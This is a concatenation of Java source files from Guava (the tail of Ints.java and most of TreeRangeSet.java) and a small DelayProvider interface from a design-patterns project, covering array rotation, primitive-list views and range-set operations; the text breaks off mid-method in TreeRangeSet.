Collections.rotate(Ints.asList(array).subList(fromIndex, toIndex), distance)}, but is * considerably faster and avoids allocations and garbage collection. * * <p>The provided "distance" may be negative, which will rotate left. * * @throws IndexOutOfBoundsException if {@code fromIndex < 0}, {@code toIndex > array.length}, or * {@code toIndex > fromIndex} * @since 32.0.0 */ public static void rotate(int[] array, int distance, int fromIndex, int toIndex) { // There are several well-known algorithms for rotating part of an array (or, equivalently, // exchanging two blocks of memory). This classic text by Gries and Mills mentions several: // https://ecommons.cornell.edu/bitstream/handle/1813/6292/81-452.pdf. // (1) "Reversal", the one we have here. // (2) "Dolphin". If we're rotating an array a of size n by a distance of d, then element a[0] // ends up at a[d], which in turn ends up at a[2d], and so on until we get back to a[0]. // (All indices taken mod n.) If d and n are mutually prime, all elements will have been // moved at that point. Otherwise, we can rotate the cycle a[1], a[1 + d], a[1 + 2d], etc, // then a[2] etc, and so on until we have rotated all elements. There are gcd(d, n) cycles // in all. // (3) "Successive". We can consider that we are exchanging a block of size d (a[0..d-1]) with a // block of size n-d (a[d..n-1]), where in general these blocks have different sizes. If we // imagine a line separating the first block from the second, we can proceed by exchanging // the smaller of these blocks with the far end of the other one. That leaves us with a // smaller version of the same problem. // Say we are rotating abcdefgh by 5. We start with abcde|fgh. The smaller block is [fgh]: // [abc]de|[fgh] -> [fgh]de|[abc]. Now [fgh] is in the right place, but we need to swap [de] // with [abc]: fgh[de]|a[bc] -> fgh[bc]|a[de]. Now we need to swap [a] with [bc]: // fgh[b]c|[a]de -> fgh[a]c|[b]de. Finally we need to swap [c] with [b]: // fgha[c]|[b]de -> fgha[b]|[c]de. Because these two blocks are the same size, we are done. // The Dolphin algorithm is attractive because it does the fewest array reads and writes: each // array slot is read and written exactly once. However, it can have very poor memory locality: // benchmarking shows it can take 7 times longer than the other two in some cases. The other two // do n swaps, minus a delta (0 or 2 for Reversal, gcd(d, n) for Successive), so that's about // twice as many reads and writes. But benchmarking shows that they usually perform better than // Dolphin. Reversal is about as good as Successive on average, and it is much simpler, // especially since we already have a `reverse` method. checkNotNull(array); checkPositionIndexes(fromIndex, toIndex, array.length); if (array.length <= 1) { return; } int length = toIndex - fromIndex; // Obtain m = (-distance mod length), a non-negative value less than "length". This is how many // places left to rotate. int m = -distance % length; m = (m < 0) ? m + length : m; // The current index of what will become the first element of the rotated section. int newFirstIndex = m + fromIndex; if (newFirstIndex == fromIndex) { return; } reverse(array, fromIndex, newFirstIndex); reverse(array, newFirstIndex, toIndex); reverse(array, fromIndex, toIndex); } /** * Returns an array containing each value of {@code collection}, converted to a {@code int} value * in the manner of {@link Number#intValue}. * * <p>Elements are copied from the argument collection as if by {@code collection.toArray()}. * Calling this method is as thread-safe as calling that method. * * @param collection a collection of {@code Number} instances * @return an array containing the same values as {@code collection}, in the same order, converted * to primitives * @throws NullPointerException if {@code collection} or any of its elements is null * @since 1.0 (parameter was {@code Collection<Integer>} before 12.0) */ public static int[] toArray(Collection<? extends Number> collection) { if (collection instanceof IntArrayAsList) { return ((IntArrayAsList) collection).toIntArray(); } Object[] boxedArray = collection.toArray(); int len = boxedArray.length; int[] array = new int[len]; for (int i = 0; i < len; i++) { // checkNotNull for GWT (do not optimize) array[i] = ((Number) checkNotNull(boxedArray[i])).intValue(); } return array; } /** * Returns a fixed-size list backed by the specified array, similar to {@link * Arrays#asList(Object[])}. The list supports {@link List#set(int, Object)}, but any attempt to * set a value to {@code null} will result in a {@link NullPointerException}. * * <p>The returned list maintains the values, but not the identities, of {@code Integer} objects * written to or read from it. For example, whether {@code list.get(0) == list.get(0)} is true for * the returned list is unspecified. * * <p>The returned list is serializable. * * <p><b>Note:</b> when possible, you should represent your data as an {@link ImmutableIntArray} * instead, which has an {@link ImmutableIntArray#asList asList} view. * * @param backingArray the array to back the list * @return a list view of the array */ public static List<Integer> asList(int... backingArray) { if (backingArray.length == 0) { return Collections.emptyList(); } return new IntArrayAsList(backingArray); } @GwtCompatible private static class IntArrayAsList extends AbstractList<Integer> implements RandomAccess, Serializable { final int[] array; final int start; final int end; IntArrayAsList(int[] array) { this(array, 0, array.length); } IntArrayAsList(int[] array, int start, int end) { this.array = array; this.start = start; this.end = end; } @Override public int size() { return end - start; } @Override public boolean isEmpty() { return false; } @Override public Integer get(int index) { checkElementIndex(index, size()); return array[start + index]; } @Override public Spliterator.OfInt spliterator() { return Spliterators.spliterator(array, start, end, 0); } @Override public boolean contains(@CheckForNull Object target) { // Overridden to prevent a ton of boxing return (target instanceof Integer) && Ints.indexOf(array, (Integer) target, start, end) != -1; } @Override public int indexOf(@CheckForNull Object target) { // Overridden to prevent a ton of boxing if (target instanceof Integer) { int i = Ints.indexOf(array, (Integer) target, start, end); if (i >= 0) { return i - start; } } return -1; } @Override public int lastIndexOf(@CheckForNull Object target) { // Overridden to prevent a ton of boxing if (target instanceof Integer) { int i = Ints.lastIndexOf(array, (Integer) target, start, end); if (i >= 0) { return i - start; } } return -1; } @Override public Integer set(int index, Integer element) { checkElementIndex(index, size()); int oldValue = array[start + index]; // checkNotNull for GWT (do not optimize) array[start + index] = checkNotNull(element); return oldValue; } @Override public List<Integer> subList(int fromIndex, int toIndex) { int size = size(); checkPositionIndexes(fromIndex, toIndex, size); if (fromIndex == toIndex) { return Collections.emptyList(); } return new IntArrayAsList(array, start + fromIndex, start + toIndex); } @Override public boolean equals(@CheckForNull Object object) { if (object == this) { return true; } if (object instanceof IntArrayAsList) { IntArrayAsList that = (IntArrayAsList) object; int size = size(); if (that.size() != size) { return false; } for (int i = 0; i < size; i++) { if (array[start + i] != that.array[that.start + i]) { return false; } } return true; } return super.equals(object); } @Override public int hashCode() { int result = 1; for (int i = start; i < end; i++) { result = 31 * result + Ints.hashCode(array[i]); } return result; } @Override public String toString() { StringBuilder builder = new StringBuilder(size() * 5); builder.append('[').append(array[start]); for (int i = start + 1; i < end; i++) { builder.append(", ").append(array[i]); } return builder.append(']').toString(); } int[] toIntArray() { return Arrays.copyOfRange(array, start, end); } private static final long serialVersionUID = 0; } /** * Parses the specified string as a signed decimal integer value. The ASCII character {@code '-'} * (<code>'&#92;u002D'</code>) is recognized as the minus sign. * * <p>Unlike {@link Integer#parseInt(String)}, this method returns {@code null} instead of * throwing an exception if parsing fails. Additionally, this method only accepts ASCII digits, * and returns {@code null} if non-ASCII digits are present in the string. * * <p>Note that strings prefixed with ASCII {@code '+'} are rejected, even under JDK 7, despite * the change to {@link Integer#parseInt(String)} for that version. * * @param string the string representation of an integer value * @return the integer value represented by {@code string}, or {@code null} if {@code string} has * a length of zero or cannot be parsed as an integer value * @throws NullPointerException if {@code string} is {@code null} * @since 11.0 */ @CheckForNull public static Integer tryParse(String string) { return tryParse(string, 10); } /** * Parses the specified string as a signed integer value using the specified radix. The ASCII * character {@code '-'} (<code>'&#92;u002D'</code>) is recognized as the minus sign. * * <p>Unlike {@link Integer#parseInt(String, int)}, this method returns {@code null} instead of * throwing an exception if parsing fails. Additionally, this method only accepts ASCII digits, * and returns {@code null} if non-ASCII digits are present in the string. * * <p>Note that strings prefixed with ASCII {@code '+'} are rejected, even under JDK 7, despite * the change to {@link Integer#parseInt(String, int)} for that version. * * @param string the string representation of an integer value * @param radix the radix to use when parsing * @return the integer value represented by {@code string} using {@code radix}, or {@code null} if * {@code string} has a length of zero or cannot be parsed as an integer value * @throws IllegalArgumentException if {@code radix < Character.MIN_RADIX} or {@code radix > * Character.MAX_RADIX} * @throws NullPointerException if {@code string} is {@code null} * @since 19.0 */ @CheckForNull public static Integer tryParse(String string, int radix) { Long result = Longs.tryParse(string, radix); if (result == null || result.longValue() != result.intValue()) { return null; } else { return result.intValue(); } } }
google/guava
guava/src/com/google/common/primitives/Ints.java
338
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.balking; import java.util.concurrent.TimeUnit; /** * An interface to simulate delay while executing some work. */ public interface DelayProvider { void executeAfterDelay(long interval, TimeUnit timeUnit, Runnable task); }
smedals/java-design-patterns
balking/src/main/java/com/iluwatar/balking/DelayProvider.java
339
/* * Copyright (C) 2011 The Guava Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package com.google.common.collect; import static com.google.common.base.Preconditions.checkArgument; import static com.google.common.base.Preconditions.checkNotNull; import com.google.common.annotations.GwtIncompatible; import com.google.common.annotations.VisibleForTesting; import com.google.common.base.MoreObjects; import com.google.errorprone.annotations.concurrent.LazyInit; import java.io.Serializable; import java.util.Collection; import java.util.Comparator; import java.util.Iterator; import java.util.Map.Entry; import java.util.NavigableMap; import java.util.NoSuchElementException; import java.util.Set; import java.util.TreeMap; import javax.annotation.CheckForNull; /** * An implementation of {@link RangeSet} backed by a {@link TreeMap}. * * @author Louis Wasserman * @since 14.0 */ @GwtIncompatible // uses NavigableMap @ElementTypesAreNonnullByDefault public class TreeRangeSet<C extends Comparable<?>> extends AbstractRangeSet<C> implements Serializable { @VisibleForTesting final NavigableMap<Cut<C>, Range<C>> rangesByLowerBound; /** Creates an empty {@code TreeRangeSet} instance. */ public static <C extends Comparable<?>> TreeRangeSet<C> create() { return new TreeRangeSet<>(new TreeMap<Cut<C>, Range<C>>()); } /** Returns a {@code TreeRangeSet} initialized with the ranges in the specified range set. */ public static <C extends Comparable<?>> TreeRangeSet<C> create(RangeSet<C> rangeSet) { TreeRangeSet<C> result = create(); result.addAll(rangeSet); return result; } /** * Returns a {@code TreeRangeSet} representing the union of the specified ranges. * * <p>This is the smallest {@code RangeSet} which encloses each of the specified ranges. An * element will be contained in this {@code RangeSet} if and only if it is contained in at least * one {@code Range} in {@code ranges}. * * @since 21.0 */ public static <C extends Comparable<?>> TreeRangeSet<C> create(Iterable<Range<C>> ranges) { TreeRangeSet<C> result = create(); result.addAll(ranges); return result; } private TreeRangeSet(NavigableMap<Cut<C>, Range<C>> rangesByLowerCut) { this.rangesByLowerBound = rangesByLowerCut; } @LazyInit @CheckForNull private transient Set<Range<C>> asRanges; @LazyInit @CheckForNull private transient Set<Range<C>> asDescendingSetOfRanges; @Override public Set<Range<C>> asRanges() { Set<Range<C>> result = asRanges; return (result == null) ? asRanges = new AsRanges(rangesByLowerBound.values()) : result; } @Override public Set<Range<C>> asDescendingSetOfRanges() { Set<Range<C>> result = asDescendingSetOfRanges; return (result == null) ? asDescendingSetOfRanges = new AsRanges(rangesByLowerBound.descendingMap().values()) : result; } final class AsRanges extends ForwardingCollection<Range<C>> implements Set<Range<C>> { final Collection<Range<C>> delegate; AsRanges(Collection<Range<C>> delegate) { this.delegate = delegate; } @Override protected Collection<Range<C>> delegate() { return delegate; } @Override public int hashCode() { return Sets.hashCodeImpl(this); } @Override public boolean equals(@CheckForNull Object o) { return Sets.equalsImpl(this, o); } } @Override @CheckForNull public Range<C> rangeContaining(C value) { checkNotNull(value); Entry<Cut<C>, Range<C>> floorEntry = rangesByLowerBound.floorEntry(Cut.belowValue(value)); if (floorEntry != null && floorEntry.getValue().contains(value)) { return floorEntry.getValue(); } else { // TODO(kevinb): revisit this design choice return null; } } @Override public boolean intersects(Range<C> range) { checkNotNull(range); Entry<Cut<C>, Range<C>> ceilingEntry = rangesByLowerBound.ceilingEntry(range.lowerBound); if (ceilingEntry != null && ceilingEntry.getValue().isConnected(range) && !ceilingEntry.getValue().intersection(range).isEmpty()) { return true; } Entry<Cut<C>, Range<C>> priorEntry = rangesByLowerBound.lowerEntry(range.lowerBound); return priorEntry != null && priorEntry.getValue().isConnected(range) && !priorEntry.getValue().intersection(range).isEmpty(); } @Override public boolean encloses(Range<C> range) { checkNotNull(range); Entry<Cut<C>, Range<C>> floorEntry = rangesByLowerBound.floorEntry(range.lowerBound); return floorEntry != null && floorEntry.getValue().encloses(range); } @CheckForNull private Range<C> rangeEnclosing(Range<C> range) { checkNotNull(range); Entry<Cut<C>, Range<C>> floorEntry = rangesByLowerBound.floorEntry(range.lowerBound); return (floorEntry != null && floorEntry.getValue().encloses(range)) ? floorEntry.getValue() : null; } @Override public Range<C> span() { Entry<Cut<C>, Range<C>> firstEntry = rangesByLowerBound.firstEntry(); Entry<Cut<C>, Range<C>> lastEntry = rangesByLowerBound.lastEntry(); if (firstEntry == null || lastEntry == null) { /* * Either both are null or neither is: Either the set is empty, or it's not. But we check both * to make the nullness checker happy. */ throw new NoSuchElementException(); } return Range.create(firstEntry.getValue().lowerBound, lastEntry.getValue().upperBound); } @Override public void add(Range<C> rangeToAdd) { checkNotNull(rangeToAdd); if (rangeToAdd.isEmpty()) { return; } // We will use { } to illustrate ranges currently in the range set, and < > // to illustrate rangeToAdd. Cut<C> lbToAdd = rangeToAdd.lowerBound; Cut<C> ubToAdd = rangeToAdd.upperBound; Entry<Cut<C>, Range<C>> entryBelowLB = rangesByLowerBound.lowerEntry(lbToAdd); if (entryBelowLB != null) { // { < Range<C> rangeBelowLB = entryBelowLB.getValue(); if (rangeBelowLB.upperBound.compareTo(lbToAdd) >= 0) { // { < }, and we will need to coalesce if (rangeBelowLB.upperBound.compareTo(ubToAdd) >= 0) { // { < > } ubToAdd = rangeBelowLB.upperBound; /* * TODO(cpovirk): can we just "return;" here? Or, can we remove this if() entirely? If * not, add tests to demonstrate the problem with each approach */ } lbToAdd = rangeBelowLB.lowerBound; } } Entry<Cut<C>, Range<C>> entryBelowUB = rangesByLowerBound.floorEntry(ubToAdd); if (entryBelowUB != null) { // { > Range<C> rangeBelowUB = entryBelowUB.getValue(); if (rangeBelowUB.upperBound.compareTo(ubToAdd) >= 0) { // { > }, and we need to coalesce ubToAdd = rangeBelowUB.upperBound; } } // Remove ranges which are strictly enclosed. rangesByLowerBound.subMap(lbToAdd, ubToAdd).clear(); replaceRangeWithSameLowerBound(Range.create(lbToAdd, ubToAdd)); } @Override public void remove(Range<C> rangeToRemove) { checkNotNull(rangeToRemove); if (rangeToRemove.isEmpty()) { return; } // We will use { } to illustrate ranges currently in the range set, and < > // to illustrate rangeToRemove. Entry<Cut<C>, Range<C>> entryBelowLB = rangesByLowerBound.lowerEntry(rangeToRemove.lowerBound); if (entryBelowLB != null) { // { < Range<C> rangeBelowLB = entryBelowLB.getValue(); if (rangeBelowLB.upperBound.compareTo(rangeToRemove.lowerBound) >= 0) { // { < }, and we will need to subdivide if (rangeToRemove.hasUpperBound() && rangeBelowLB.upperBound.compareTo(rangeToRemove.upperBound) >= 0) { // { < > } replaceRangeWithSameLowerBound( Range.create(rangeToRemove.upperBound, rangeBelowLB.upperBound)); } replaceRangeWithSameLowerBound( Range.create(rangeBelowLB.lowerBound, rangeToRemove.lowerBound)); } } Entry<Cut<C>, Range<C>> entryBelowUB = rangesByLowerBound.floorEntry(rangeToRemove.upperBound); if (entryBelowUB != null) { // { > Range<C> rangeBelowUB = entryBelowUB.getValue(); if (rangeToRemove.hasUpperBound() && rangeBelowUB.upperBound.compareTo(rangeToRemove.upperBound) >= 0) { // { > } replaceRangeWithSameLowerBound( Range.create(rangeToRemove.upperBound, rangeBelowUB.upperBound)); } } rangesByLowerBound.subMap(rangeToRemove.lowerBound, rangeToRemove.upperBound).clear(); } private void replaceRangeWithSameLowerBound(Range<C> range) { if (range.isEmpty()) { rangesByLowerBound.remove(range.lowerBound); } else { rangesByLowerBound.put(range.lowerBound, range); } } @LazyInit @CheckForNull private transient RangeSet<C> complement; @Override public RangeSet<C> complement() { RangeSet<C> result = complement; return (result == null) ? complement = new Complement() : result; } @VisibleForTesting static final class RangesByUpperBound<C extends Comparable<?>> extends AbstractNavigableMap<Cut<C>, Range<C>> { private final NavigableMap<Cut<C>, Range<C>> rangesByLowerBound; /** * upperBoundWindow represents the headMap/subMap/tailMap view of the entire "ranges by upper * bound" map; it's a constraint on the *keys*, and does not affect the values. */ private final Range<Cut<C>> upperBoundWindow; RangesByUpperBound(NavigableMap<Cut<C>, Range<C>> rangesByLowerBound) { this.rangesByLowerBound = rangesByLowerBound; this.upperBoundWindow = Range.all(); } private RangesByUpperBound( NavigableMap<Cut<C>, Range<C>> rangesByLowerBound, Range<Cut<C>> upperBoundWindow) { this.rangesByLowerBound = rangesByLowerBound; this.upperBoundWindow = upperBoundWindow; } private NavigableMap<Cut<C>, Range<C>> subMap(Range<Cut<C>> window) { if (window.isConnected(upperBoundWindow)) { return new RangesByUpperBound<>(rangesByLowerBound, window.intersection(upperBoundWindow)); } else { return ImmutableSortedMap.of(); } } @Override public NavigableMap<Cut<C>, Range<C>> subMap( Cut<C> fromKey, boolean fromInclusive, Cut<C> toKey, boolean toInclusive) { return subMap( Range.range( fromKey, BoundType.forBoolean(fromInclusive), toKey, BoundType.forBoolean(toInclusive))); } @Override public NavigableMap<Cut<C>, Range<C>> headMap(Cut<C> toKey, boolean inclusive) { return subMap(Range.upTo(toKey, BoundType.forBoolean(inclusive))); } @Override public NavigableMap<Cut<C>, Range<C>> tailMap(Cut<C> fromKey, boolean inclusive) { return subMap(Range.downTo(fromKey, BoundType.forBoolean(inclusive))); } @Override public Comparator<? super Cut<C>> comparator() { return Ordering.<Cut<C>>natural(); } @Override public boolean containsKey(@CheckForNull Object key) { return get(key) != null; } @Override @CheckForNull public Range<C> get(@CheckForNull Object key) { if (key instanceof Cut) { try { @SuppressWarnings("unchecked") // we catch CCEs Cut<C> cut = (Cut<C>) key; if (!upperBoundWindow.contains(cut)) { return null; } Entry<Cut<C>, Range<C>> candidate = rangesByLowerBound.lowerEntry(cut); if (candidate != null && candidate.getValue().upperBound.equals(cut)) { return candidate.getValue(); } } catch (ClassCastException e) { return null; } } return null; } @Override Iterator<Entry<Cut<C>, Range<C>>> entryIterator() { /* * We want to start the iteration at the first range where the upper bound is in * upperBoundWindow. */ Iterator<Range<C>> backingItr; if (!upperBoundWindow.hasLowerBound()) { backingItr = rangesByLowerBound.values().iterator(); } else { Entry<Cut<C>, Range<C>> lowerEntry = rangesByLowerBound.lowerEntry(upperBoundWindow.lowerEndpoint()); if (lowerEntry == null) { backingItr = rangesByLowerBound.values().iterator(); } else if (upperBoundWindow.lowerBound.isLessThan(lowerEntry.getValue().upperBound)) { backingItr = rangesByLowerBound.tailMap(lowerEntry.getKey(), true).values().iterator(); } else { backingItr = rangesByLowerBound .tailMap(upperBoundWindow.lowerEndpoint(), true) .values() .iterator(); } } return new AbstractIterator<Entry<Cut<C>, Range<C>>>() { @Override @CheckForNull protected Entry<Cut<C>, Range<C>> computeNext() { if (!backingItr.hasNext()) { return endOfData(); } Range<C> range = backingItr.next(); if (upperBoundWindow.upperBound.isLessThan(range.upperBound)) { return endOfData(); } else { return Maps.immutableEntry(range.upperBound, range); } } }; } @Override Iterator<Entry<Cut<C>, Range<C>>> descendingEntryIterator() { Collection<Range<C>> candidates; if (upperBoundWindow.hasUpperBound()) { candidates = rangesByLowerBound .headMap(upperBoundWindow.upperEndpoint(), false) .descendingMap() .values(); } else { candidates = rangesByLowerBound.descendingMap().values(); } PeekingIterator<Range<C>> backingItr = Iterators.peekingIterator(candidates.iterator()); if (backingItr.hasNext() && upperBoundWindow.upperBound.isLessThan(backingItr.peek().upperBound)) { backingItr.next(); } return new AbstractIterator<Entry<Cut<C>, Range<C>>>() { @Override @CheckForNull protected Entry<Cut<C>, Range<C>> computeNext() { if (!backingItr.hasNext()) { return endOfData(); } Range<C> range = backingItr.next(); return upperBoundWindow.lowerBound.isLessThan(range.upperBound) ? Maps.immutableEntry(range.upperBound, range) : endOfData(); } }; } @Override public int size() { if (upperBoundWindow.equals(Range.all())) { return rangesByLowerBound.size(); } return Iterators.size(entryIterator()); } @Override public boolean isEmpty() { return upperBoundWindow.equals(Range.all()) ? rangesByLowerBound.isEmpty() : !entryIterator().hasNext(); } } private static final class ComplementRangesByLowerBound<C extends Comparable<?>> extends AbstractNavigableMap<Cut<C>, Range<C>> { private final NavigableMap<Cut<C>, Range<C>> positiveRangesByLowerBound; private final NavigableMap<Cut<C>, Range<C>> positiveRangesByUpperBound; /** * complementLowerBoundWindow represents the headMap/subMap/tailMap view of the entire * "complement ranges by lower bound" map; it's a constraint on the *keys*, and does not affect * the values. */ private final Range<Cut<C>> complementLowerBoundWindow; ComplementRangesByLowerBound(NavigableMap<Cut<C>, Range<C>> positiveRangesByLowerBound) { this(positiveRangesByLowerBound, Range.<Cut<C>>all()); } private ComplementRangesByLowerBound( NavigableMap<Cut<C>, Range<C>> positiveRangesByLowerBound, Range<Cut<C>> window) { this.positiveRangesByLowerBound = positiveRangesByLowerBound; this.positiveRangesByUpperBound = new RangesByUpperBound<>(positiveRangesByLowerBound); this.complementLowerBoundWindow = window; } private NavigableMap<Cut<C>, Range<C>> subMap(Range<Cut<C>> subWindow) { if (!complementLowerBoundWindow.isConnected(subWindow)) { return ImmutableSortedMap.of(); } else { subWindow = subWindow.intersection(complementLowerBoundWindow); return new ComplementRangesByLowerBound<>(positiveRangesByLowerBound, subWindow); } } @Override public NavigableMap<Cut<C>, Range<C>> subMap( Cut<C> fromKey, boolean fromInclusive, Cut<C> toKey, boolean toInclusive) { return subMap( Range.range( fromKey, BoundType.forBoolean(fromInclusive), toKey, BoundType.forBoolean(toInclusive))); } @Override public NavigableMap<Cut<C>, Range<C>> headMap(Cut<C> toKey, boolean inclusive) { return subMap(Range.upTo(toKey, BoundType.forBoolean(inclusive))); } @Override public NavigableMap<Cut<C>, Range<C>> tailMap(Cut<C> fromKey, boolean inclusive) { return subMap(Range.downTo(fromKey, BoundType.forBoolean(inclusive))); } @Override public Comparator<? super Cut<C>> comparator() { return Ordering.<Cut<C>>natural(); } @Override Iterator<Entry<Cut<C>, Range<C>>> entryIterator() { /* * firstComplementRangeLowerBound is the first complement range lower bound inside * complementLowerBoundWindow. Complement range lower bounds are either positive range upper * bounds, or Cut.belowAll(). * * positiveItr starts at the first positive range with lower bound greater than * firstComplementRangeLowerBound. (Positive range lower bounds correspond to complement range * upper bounds.) */ Collection<Range<C>> positiveRanges; if (complementLowerBoundWindow.hasLowerBound()) { positiveRanges = positiveRangesByUpperBound .tailMap( complementLowerBoundWindow.lowerEndpoint(), complementLowerBoundWindow.lowerBoundType() == BoundType.CLOSED) .values(); } else { positiveRanges = positiveRangesByUpperBound.values(); } PeekingIterator<Range<C>> positiveItr = Iterators.peekingIterator(positiveRanges.iterator()); Cut<C> firstComplementRangeLowerBound; if (complementLowerBoundWindow.contains(Cut.<C>belowAll()) && (!positiveItr.hasNext() || positiveItr.peek().lowerBound != Cut.<C>belowAll())) { firstComplementRangeLowerBound = Cut.belowAll(); } else if (positiveItr.hasNext()) { firstComplementRangeLowerBound = positiveItr.next().upperBound; } else { return Iterators.emptyIterator(); } return new AbstractIterator<Entry<Cut<C>, Range<C>>>() { Cut<C> nextComplementRangeLowerBound = firstComplementRangeLowerBound; @Override @CheckForNull protected Entry<Cut<C>, Range<C>> computeNext() { if (complementLowerBoundWindow.upperBound.isLessThan(nextComplementRangeLowerBound) || nextComplementRangeLowerBound == Cut.<C>aboveAll()) { return endOfData(); } Range<C> negativeRange; if (positiveItr.hasNext()) { Range<C> positiveRange = positiveItr.next(); negativeRange = Range.create(nextComplementRangeLowerBound, positiveRange.lowerBound); nextComplementRangeLowerBound = positiveRange.upperBound; } else { negativeRange = Range.create(nextComplementRangeLowerBound, Cut.<C>aboveAll()); nextComplementRangeLowerBound = Cut.aboveAll(); } return Maps.immutableEntry(negativeRange.lowerBound, negativeRange); } }; } @Override Iterator<Entry<Cut<C>, Range<C>>> descendingEntryIterator() { /* * firstComplementRangeUpperBound is the upper bound of the last complement range with lower * bound inside complementLowerBoundWindow. * * positiveItr starts at the first positive range with upper bound less than * firstComplementRangeUpperBound. (Positive range upper bounds correspond to complement range * lower bounds.) */ Cut<C> startingPoint = complementLowerBoundWindow.hasUpperBound() ? complementLowerBoundWindow.upperEndpoint() : Cut.<C>aboveAll(); boolean inclusive = complementLowerBoundWindow.hasUpperBound() && complementLowerBoundWindow.upperBoundType() == BoundType.CLOSED; PeekingIterator<Range<C>> positiveItr = Iterators.peekingIterator( positiveRangesByUpperBound .headMap(startingPoint, inclusive) .descendingMap() .values() .iterator()); Cut<C> cut; if (positiveItr.hasNext()) { cut = (positiveItr.peek().upperBound == Cut.<C>aboveAll()) ? positiveItr.next().lowerBound : positiveRangesByLowerBound.higherKey(positiveItr.peek().upperBound); } else if (!complementLowerBoundWindow.contains(Cut.<C>belowAll()) || positiveRangesByLowerBound.containsKey(Cut.belowAll())) { return Iterators.emptyIterator(); } else { cut = positiveRangesByLowerBound.higherKey(Cut.<C>belowAll()); } Cut<C> firstComplementRangeUpperBound = MoreObjects.firstNonNull(cut, Cut.<C>aboveAll()); return new AbstractIterator<Entry<Cut<C>, Range<C>>>() { Cut<C> nextComplementRangeUpperBound = firstComplementRangeUpperBound; @Override @CheckForNull protected Entry<Cut<C>, Range<C>> computeNext() { if (nextComplementRangeUpperBound == Cut.<C>belowAll()) { return endOfData(); } else if (positiveItr.hasNext()) { Range<C> positiveRange = positiveItr.next(); Range<C> negativeRange = Range.create(positiveRange.upperBound, nextComplementRangeUpperBound); nextComplementRangeUpperBound = positiveRange.lowerBound; if (complementLowerBoundWindow.lowerBound.isLessThan(negativeRange.lowerBound)) { return Maps.immutableEntry(negativeRange.lowerBound, negativeRange); } } else if (complementLowerBoundWindow.lowerBound.isLessThan(Cut.<C>belowAll())) { Range<C> negativeRange = Range.create(Cut.<C>belowAll(), nextComplementRangeUpperBound); nextComplementRangeUpperBound = Cut.belowAll(); return Maps.immutableEntry(Cut.<C>belowAll(), negativeRange); } return endOfData(); } }; } @Override public int size() { return Iterators.size(entryIterator()); } @Override @CheckForNull public Range<C> get(@CheckForNull Object key) { if (key instanceof Cut) { try { @SuppressWarnings("unchecked") Cut<C> cut = (Cut<C>) key; // tailMap respects the current window Entry<Cut<C>, Range<C>> firstEntry = tailMap(cut, true).firstEntry(); if (firstEntry != null && firstEntry.getKey().equals(cut)) { return firstEntry.getValue(); } } catch (ClassCastException e) { return null; } } return null; } @Override public boolean containsKey(@CheckForNull Object key) { return get(key) != null; } } private final class Complement extends TreeRangeSet<C> { Complement() { super(new ComplementRangesByLowerBound<C>(TreeRangeSet.this.rangesByLowerBound)); } @Override public void add(Range<C> rangeToAdd) { TreeRangeSet.this.remove(rangeToAdd); } @Override public void remove(Range<C> rangeToRemove) { TreeRangeSet.this.add(rangeToRemove); } @Override public boolean contains(C value) { return !TreeRangeSet.this.contains(value); } @Override public RangeSet<C> complement() { return TreeRangeSet.this; } } private static final class SubRangeSetRangesByLowerBound<C extends Comparable<?>> extends AbstractNavigableMap<Cut<C>, Range<C>> { /** * lowerBoundWindow is the headMap/subMap/tailMap view; it only restricts the keys, and does not * affect the values. */ private final Range<Cut<C>> lowerBoundWindow; /** * restriction is the subRangeSet view; ranges are truncated to their intersection with * restriction. */ private final Range<C> restriction; private final NavigableMap<Cut<C>, Range<C>> rangesByLowerBound; private final NavigableMap<Cut<C>, Range<C>> rangesByUpperBound; private SubRangeSetRangesByLowerBound( Range<Cut<C>> lowerBoundWindow, Range<C> restriction, NavigableMap<Cut<C>, Range<C>> rangesByLowerBound) { this.lowerBoundWindow = checkNotNull(lowerBoundWindow); this.restriction = checkNotNull(restriction); this.rangesByLowerBound = checkNotNull(rangesByLowerBound); this.rangesByUpperBound = new RangesByUpperBound<>(rangesByLowerBound); } private NavigableMap<Cut<C>, Range<C>> subMap(Range<Cut<C>> window) { if (!window.isConnected(lowerBoundWindow)) { return ImmutableSortedMap.of(); } else { return new SubRangeSetRangesByLowerBound<>( lowerBoundWindow.intersection(window), restriction, rangesByLowerBound); } } @Override public NavigableMap<Cut<C>, Range<C>> subMap( Cut<C> fromKey, boolean fromInclusive, Cut<C> toKey, boolean toInclusive) { return subMap( Range.range( fromKey, BoundType.forBoolean(fromInclusive), toKey, BoundType.forBoolean(toInclusive))); } @Override public NavigableMap<Cut<C>, Range<C>> headMap(Cut<C> toKey, boolean inclusive) { return subMap(Range.upTo(toKey, BoundType.forBoolean(inclusive))); } @Override public NavigableMap<Cut<C>, Range<C>> tailMap(Cut<C> fromKey, boolean inclusive) { return subMap(Range.downTo(fromKey, BoundType.forBoolean(inclusive))); } @Override public Comparator<? super Cut<C>> comparator() { return Ordering.<Cut<C>>natural(); } @Override public boolean containsKey(@CheckForNull Object key) { return get(key) != null; } @Override @CheckForNull public Range<C> get(@CheckForNull Object key) { if (key instanceof Cut) { try { @SuppressWarnings("unchecked") // we catch CCE's Cut<C> cut = (Cut<C>) key; if 